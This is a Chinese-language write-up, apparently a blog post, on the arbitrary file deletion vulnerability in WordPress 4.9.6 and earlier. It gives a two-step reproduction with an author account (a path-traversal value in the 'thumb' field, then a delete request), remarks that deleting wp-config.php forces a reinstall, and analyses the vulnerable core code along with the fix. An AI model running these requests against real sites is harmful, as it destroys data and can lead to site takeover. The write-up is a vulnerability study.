1. 程式人生 > 其它 >Wordpress <= 4.9.6 任意檔案刪除漏洞

Wordpress <= 4.9.6 任意檔案刪除漏洞

Wordpress <= 4.9.6 任意檔案刪除漏洞

前言

從 3.7.0 版本開始, WordPress 在使用者登入時,會在後臺對小版本的改變進行更新,這樣不利於我們分析程式碼。我們可以通過將 AUTOMATIC_UPDATER_DISABLED 設定成 true ,來禁止 WordPress 後臺自動更新(在 wp-config.php 檔案開頭新增 define('AUTOMATIC_UPDATER_DISABLED', true); 即可)。

漏洞復現

​ 先在自己目錄下面簡單建一個檔案,方便測試。WordPress中如果把wp-config.php檔案刪除系統會重灌的。

我們需要一個角色,最低是一個作者。

然後用test使用者登入,如下圖操作。再點編輯。

然後我們在F12裡面搜尋_wpnonce找到這兩個東西

<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">

<a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/dmsj/wordpress49/wp-admin/post.php?post=6&amp;action=delete&amp;_wpnonce=004d81ba04">永久刪除</a>

然後點選更新然後抓包到Repeater

<input type="hidden" id="_wpnonce" name="_wpnonce" value="09a8cc3a73">
// 將POST包替換為如下 其中post_ID對應你URL對應的POST  
// thumb對應刪除檔案 _wpnonce對應上面的value
POST值
action=editattachment&_wpnonce=09a8cc3a73&post_ID=6&thumb=../../../../test.txt

這樣子是證明寫入資料庫了,報錯就說明失敗了。我們檢視wp_postmeta發現成功寫入

然後我們第二步

_wpnonce=004d81ba04">永久刪除</a>
// GET請求下面URL  _wpnonce對應上面的值
/wp-admin/post.php?post=6&action=delete&_wpnonce=004d81ba04

然後我們的檔案以及被刪除

漏洞分析

倒著來分析吧,首先直接定位wp-admin/post.php檔案246行

case 'delete':
	check_admin_referer('delete-post_' . $post_id);
	if ( ! $post )
		wp_die( __( 'This item has already been deleted.' ) );
	if ( ! $post_type_object )
		wp_die( __( 'Invalid post type.' ) );
	if ( ! current_user_can( 'delete_post', $post_id ) )
		wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
	if ( $post->post_type == 'attachment' ) {
		$force = ( ! MEDIA_TRASH );
		if ( ! wp_delete_attachment( $post_id, $force ) )
			wp_die( __( 'Error in deleting.' ) );
	} else {
		if ( ! wp_delete_post( $post_id, true ) )
			wp_die( __( 'Error in deleting.' ) );
	}
	wp_redirect( add_query_arg('deleted', 1, $sendback) );
	exit();

由於我們刪除的是圖片附件,所以程式會進入wp_delete_attachment函式。wp-include/post.php。擷取關鍵部分5002行

if ( ! empty($meta['thumb']) ) {  //5002行
	if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb-=>esc_like($meta['thumb'] ) . '%', $post_id)) ) {
	$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
	$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
	@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
		}
	}

然而$meta['thumb']可控並且沒有任何過濾。從資料庫中帶出來【為什麼從資料庫帶出來呢】

在/wp-admin/post.php檔案中,也就是我們第一步POST傳入的值。直接帶進去的更新我們的圖片檔案。

case 'editattachment':  //178行
	check_admin_referer('update-post_' . $post_id);

	// Don't let these be changed
	unset($_POST['guid']);
	$_POST['post_type'] = 'attachment';

	// Update the thumbnail filename
	$newmeta = wp_get_attachment_metadata( $post_id, true );
	$newmeta['thumb'] = $_POST['thumb'];
	wp_update_attachment_metadata( $post_id, $newmeta );

漏洞修復

過濾$_POST['thumb']